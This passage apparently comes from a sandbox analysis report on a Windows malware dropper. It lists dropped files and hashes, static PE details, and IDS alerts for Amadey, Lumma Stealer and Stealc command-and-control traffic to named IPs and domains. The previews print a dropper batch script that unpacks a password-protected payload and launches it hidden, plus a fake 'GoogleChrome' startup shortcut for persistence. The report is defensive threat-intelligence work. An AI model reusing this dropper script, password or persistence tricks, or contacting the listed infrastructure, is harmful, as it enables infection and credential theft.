Encrypted:	false
SSDEEP:	49152:hqfRikf1mVQKq9GM/4qQlc6eBhwMPsy1YtXA:hq5ikf1mVPq9J/ga6eBhwMP8
MD5:	46C3863C4F153D69DBF4D5BFBBC90A73
SHA1:	4FA6468CD70687385C225F1500AE570102A4E370
SHA-256:	0D5511295F174D1F67F6D4905AF07DC0BB610572374673FFD70EFAC14F265FDC
SHA-512:	2D09B274468CF1B6C289C94721B94699C81584763D378769473B14395DA8492E853EAA971D94FFEB2988CA582EC347ED3C9FEA9C74188A230A344C44ECA88F36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................p1...........@...........................1...........@.................................W...k.......D....................\1.............................t\1..................................................... . ............................@....rsrc...D...........................@....idata ............................@...xlsdzxvf..........................@...xadyrfpk.....`1.......-.............@....taggant.0...p1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\file.bin

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	3473725
Entropy (8bit):	7.999948676888215
Encrypted:	true
SSDEEP:	49152:9b8s3/pc44zfeVeY45ZADJE7ZdXrYX+RyWGGdVPLv7+joMMPlHxNwNrRPXD3tI:LP0eQz5Zwm7ZdEOhdLrK0l2FpI
MD5:	045B0A3D5BE6F10DDF19AE6D92DFDD70
SHA1:	0387715B6681D7097D372CD0005B664F76C933C7
SHA-256:	94B392E94FA47D1B9B7AE6A29527727268CC2E3484E818C23608F8835BC1104D
SHA-512:	58255A755531791B888FFD9B663CC678C63D5CAA932260E9546B1B10A8D54208334725C14529116B067BCF5A5E02DA85E015A3BED80092B7698A43DAB0168C7B
Malicious:	false
Preview:	PK........n..Yd=,..5...5.....file_7.zipm..+]..E....`...._..'.....DXW\|._6.Kau^.O....W.0.....fE....Q:.t`9.9"..c.... .[(2..[m{.`S.?8...w.v.{zo/a....E..L.1..<.....].@.....:...3?. k.5....H.=......0.A.,3p......_R.......[.7....j.Ba$v1AO.@q....x...u..9.k..z.p...5.....-(.b...y.........S.../..l.Q.....)....w..@...w;.;2.&Q.w.....Hn.3A.z.i..0i%A..E-7.....8....(.Z.A....k.......=.g.,......N.Yt`....)....T.....f..P.....u4ig.......B...~-7...Y]Ct.6.7..PS.Su7yx8...#.......B.3.f."....x.-u.....M.%.a.._\D.5.G....O.P....,b.;=.k[....4......SdS....gL.....X.......G...f.P....p.PS.~.P.}...X.7.+Ap.-.....^'..\.6..r.2.p.wd...dd....(..S..N..#.M....~..L..sjX...,..B.........-..R..~..A..B...MF..,.z.........lK.]<"..,...K.~..S.Z...p).......z..I..E.MG.M].....F.SY.p..1...sM7...B...l......g..V...q..p}$%iM....L...N...;.......}/Y8..&zAO&0..s.{.pR.A...Y`..Q.../n..,........z.&.k.`TU...7lv.xQ@~.'..H.S..y...n48......m....s1(.`.....,.n;j...CX.s..sN.L..q.u.G.....q.M..:..xI":Y.

C:\Users\user\AppData\Local\Temp\main\main.bat

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.0791308599041844
Encrypted:	false
SSDEEP:	12:QUp+CF16g64CTFMj2LIQLvDHW7PCVGrMLvmuCogLKO8NerxVv:QUpNF16g632CkezWDCVGYTOLv8k7
MD5:	3626532127E3066DF98E34C3D56A1869
SHA1:	5FA7102F02615AFDE4EFD4ED091744E842C63F78
SHA-256:	2A0E18EF585DB0802269B8C1DDCCB95CE4C0BAC747E207EE6131DEE989788BCA
SHA-512:	DCCE66D6E24D5A4A352874144871CD73C327E04C1B50764399457D8D70A9515F5BC0A650232763BF34D4830BAB70EE4539646E7625CFE5336A870E311043B2BD
Malicious:	false
Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.506195185682609
Encrypted:	false
SSDEEP:	6144:1o9QMB+47nuxNUzxsUke8w/Z2aLSrszLPGYDl:NwJuxKzmUkG9DZ
MD5:	C37A981BC24C4ABA6454DA4EECB7ACBE
SHA1:	2BFFDF27D0D4F7C810E323C1671A87ED2D6B644F
SHA-256:	D6FC121D54E4CDF3A1B6B0505C4F691F16D91FDD421BF96C04388B1C6F19E361
SHA-512:	2F44B5218B323BC2BAD3EE37426B5BBCBB089B1A561E5F2F48FD455FED0A395B50A6CBB3783BF06E25B144B3F77078629AB1D86FB2C8DF1A532230C81A3B2AB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;.&.Z.u.Z.u.Z.u.".t.Z.u.".tSZ.u...t.Z.u...t.Z.u...t.Z.u.".t.Z.u.".t.Z.u.Z.uZZ.uf..t.Z.uf.&u.Z.uf..t.Z.uRich.Z.u........PE..L.....^g...............*..................... ....@..........................P............@.................................................................. ...#.....8...........................(...@............ ..8............................text...v........................... ..`.rdata..R.... ......................@..@.data.... ..........................@....rsrc...............................@..@.reloc...#... ...$..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GoogleChrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Hidden, Archive, ctime=Sun Dec 15 09:59:21 2024, mtime=Sun Dec 15 09:59:21 2024, atime=Sun Dec 15 09:59:20 2024, length=262656, window=hide
Category:	dropped
Size (bytes):	1226
Entropy (8bit):	4.955538306363841
Encrypted:	false
SSDEEP:	24:88jG+YbR+gKlYhJtN5ATZfqckdTiCtNd5zeDsqyFm:8y/oRdnn6TBqccigKD1yF
MD5:	15B9D58ACE1C857371EF96F145957915
SHA1:	C410D536BF4DE33D576EAA6D9674CC18A953E939
SHA-256:	13E2ED638B281A59C54D12B19B4D303C2E6D72A29D82765E023889ACCCB2EC6C
SHA-512:	DAA6364FDE24A051A1630A6A5A28D63CD22432CA750487789456A18A09AB0D3E3031E8DC90C7E73A29F4B2A8F49F98BB7C0458453A157FE9200F0D4A4D8FDA46
Malicious:	false
Preview:	L..................F...."...H..d.N.....d.N..t..d.N..........................,.:..DG..Yr?.D..U..k0.&...&......vk.v.....h./.N...i$e.N......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y=W...........................%..A.p.p.D.a.t.a...B.P.1......Y:W..Local.<......CW.^.Y=W....b.....................,O..L.o.c.a.l.....N.1......YkW..Temp..:......CW.^.YkW....l......................p..T.e.m.p.....Z.1......YkW..N2FRA2Ll..B......YkW.YkW..............................N.2.F.R.A.2.L.l.....v.2......YkW".7BOE0M~1.EXE..Z......YkW.YkW..............................7.b.O.e.0.m.B.Z.p.c.i.v.p.6.1.2...e.x.e.......n...............-.......m.............~......C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe....G.o.o.g.l.e.C.h.r.o.m.e.:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.N.2.F.R.A.2.L.l.\.7.b.O.e.0.m.B.Z.p.c.i.v.p.6.1.2...e.x.e.........\|....I.J.H..K..:...`.......X.......528110...........hT..CrF.f4... ........,.......hT..CrF.f4... ....

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4153432879931946
Encrypted:	false
SSDEEP:	6:aEGXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lxLqut0:7kf2RKQ1CGAFAjzvYRQVUut0
MD5:	717DDA9FB25220DE80A19A4B1B811FF7
SHA1:	FA2B77D19F201B9651226E91D19D7119F2B7A51F
SHA-256:	CDEDE2FDEBE4A1621AA076E3319CEAD8689135991A23C4E17E88E19AB372BA4B
SHA-512:	42DA0C8BAA51B38E27459A332D3128BC2A174AADD5DE556B887E7EBD4B9006E8B4ACF33595CDBEB21FAA3BB5EFD39038D141E1A064390AF9DC6EE9DFE9989401
Malicious:	false
Preview:	.....mj...F......,.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................;.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.544431254922128
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'000'320 bytes
MD5:	46c3863c4f153d69dbf4d5bfbbc90a73
SHA1:	4fa6468cd70687385c225f1500ae570102a4e370
SHA256:	0d5511295f174d1f67f6d4905af07dc0bb610572374673ffd70efac14f265fdc
SHA512:	2d09b274468cf1b6c289c94721b94699c81584763d378769473b14395da8492e853eaa971d94ffeb2988ca582ec347ed3c9fea9c74188a230a344c44eca88f36
SSDEEP:	49152:hqfRikf1mVQKq9GM/4qQlc6eBhwMPsy1YtXA:hq5ikf1mVPq9J/ga6eBhwMP8
TLSH:	1AD54B67E50576CFE48F33785827CE82695D03BA472108D3A81DA47EBFA3CCA19B5C19
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x717000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5DA47F006Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x315cc4	0x10	xlsdzxvf
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x315c74	0x18	xlsdzxvf
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	c14eebdc1bd881012f9ce715eda7cdc6	False	0.9982012091280654	data	7.983237658200176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xlsdzxvf	0x6b000	0x2ab000	0x2aae00	33127a83467f4c4327c9400d373a6ac7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xadyrfpk	0x316000	0x1000	0x400	b64913b7c533a5ab3aff721f830da658	False	0.69140625	data	5.529415979638179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x317000	0x3000	0x2200	ba1bcf4834561e61109b9c9c7b062e12	False	0.06318933823529412	DOS executable (COM)	0.7112680228977225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-15T11:59:05.670331+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49748	185.215.113.43	80	TCP
2024-12-15T11:59:10.123504+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49760	31.41.244.11	80	TCP
2024-12-15T11:59:15.875714+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49754	TCP
2024-12-15T11:59:17.224131+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49776	185.215.113.43	80	TCP
2024-12-15T11:59:17.319904+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	104.21.51.88	443	TCP
2024-12-15T11:59:18.043681+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49777	104.21.51.88	443	TCP
2024-12-15T11:59:18.043681+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49777	104.21.51.88	443	TCP
2024-12-15T11:59:18.050978+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.4	59707	1.1.1.1	53	UDP
2024-12-15T11:59:18.800792+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49783	172.67.218.51	80	TCP
2024-12-15T11:59:19.599933+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:19.599933+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:20.321704+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:20.321704+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49784	172.67.207.38	443	TCP
2024-12-15T11:59:20.323305+0100	2058214	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)	1	192.168.2.4	54771	1.1.1.1	53	UDP
2024-12-15T11:59:21.844315+0100	2058215	ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)	1	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T11:59:21.844315+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T11:59:22.844484+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T11:59:22.844484+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49791	104.21.16.1	443	TCP
2024-12-15T11:59:22.969224+0100	2058220	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)	1	192.168.2.4	51548	1.1.1.1	53	UDP
2024-12-15T11:59:23.411190+0100	2058218	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)	1	192.168.2.4	64228	1.1.1.1	53	UDP
2024-12-15T11:59:23.633929+0100	2058216	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)	1	192.168.2.4	53807	1.1.1.1	53	UDP
2024-12-15T11:59:23.935256+0100	2058236	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)	1	192.168.2.4	58940	1.1.1.1	53	UDP
2024-12-15T11:59:24.182334+0100	2058210	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)	1	192.168.2.4	63784	1.1.1.1	53	UDP
2024-12-15T11:59:24.425491+0100	2058226	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)	1	192.168.2.4	54425	1.1.1.1	53	UDP
2024-12-15T11:59:25.480466+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49803	185.215.113.43	80	TCP
2024-12-15T11:59:26.271175+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49804	23.55.153.106	443	TCP
2024-12-15T11:59:27.052538+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49804	23.55.153.106	443	TCP
2024-12-15T11:59:27.352220+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49805	31.41.244.11	80	TCP
2024-12-15T11:59:39.150449+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49835	185.215.113.43	80	TCP
2024-12-15T11:59:40.614761+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49839	31.41.244.11	80	TCP
2024-12-15T11:59:46.633849+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49851	185.215.113.43	80	TCP
2024-12-15T11:59:48.469413+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49857	185.215.113.16	80	TCP
2024-12-15T11:59:56.366545+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49871	185.215.113.43	80	TCP
2024-12-15T11:59:58.248316+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49876	185.215.113.16	80	TCP
2024-12-15T12:00:05.530285+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49890	104.21.79.7	443	TCP
2024-12-15T12:00:05.682708+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49888	185.215.113.43	80	TCP
2024-12-15T12:00:07.736059+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49890	104.21.79.7	443	TCP
2024-12-15T12:00:07.736059+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49890	104.21.79.7	443	TCP
2024-12-15T12:00:16.538660+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.4	50050	1.1.1.1	53	UDP
2024-12-15T12:00:18.476268+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:18.476268+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:22.465687+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:22.465687+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49917	104.21.50.161	443	TCP
2024-12-15T12:00:24.308722+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:24.308722+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:25.179122+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:25.179122+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49928	172.67.207.38	443	TCP
2024-12-15T12:00:26.854428+0100	2058215	ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)	1	192.168.2.4	49935	104.21.16.1	443	TCP
2024-12-15T12:00:26.854428+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49935	104.21.16.1	443	TCP
2024-12-15T12:00:27.586218+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49935	104.21.16.1	443	TCP
2024-12-15T12:00:27.586218+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49935	104.21.16.1	443	TCP
2024-12-15T12:00:28.115537+0100	2058220	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)	1	192.168.2.4	59154	1.1.1.1	53	UDP
2024-12-15T12:00:29.178089+0100	2058218	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)	1	192.168.2.4	51351	1.1.1.1	53	UDP
2024-12-15T12:00:30.349594+0100	2058216	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)	1	192.168.2.4	56364	1.1.1.1	53	UDP
2024-12-15T12:00:31.226238+0100	2058236	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)	1	192.168.2.4	50504	1.1.1.1	53	UDP
2024-12-15T12:00:31.944427+0100	2058210	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)	1	192.168.2.4	49965	1.1.1.1	53	UDP
2024-12-15T12:00:32.959688+0100	2058226	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)	1	192.168.2.4	62929	1.1.1.1	53	UDP
2024-12-15T12:00:35.681660+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49951	23.55.153.106	443	TCP
2024-12-15T12:00:36.413897+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49950	185.215.113.206	80	TCP
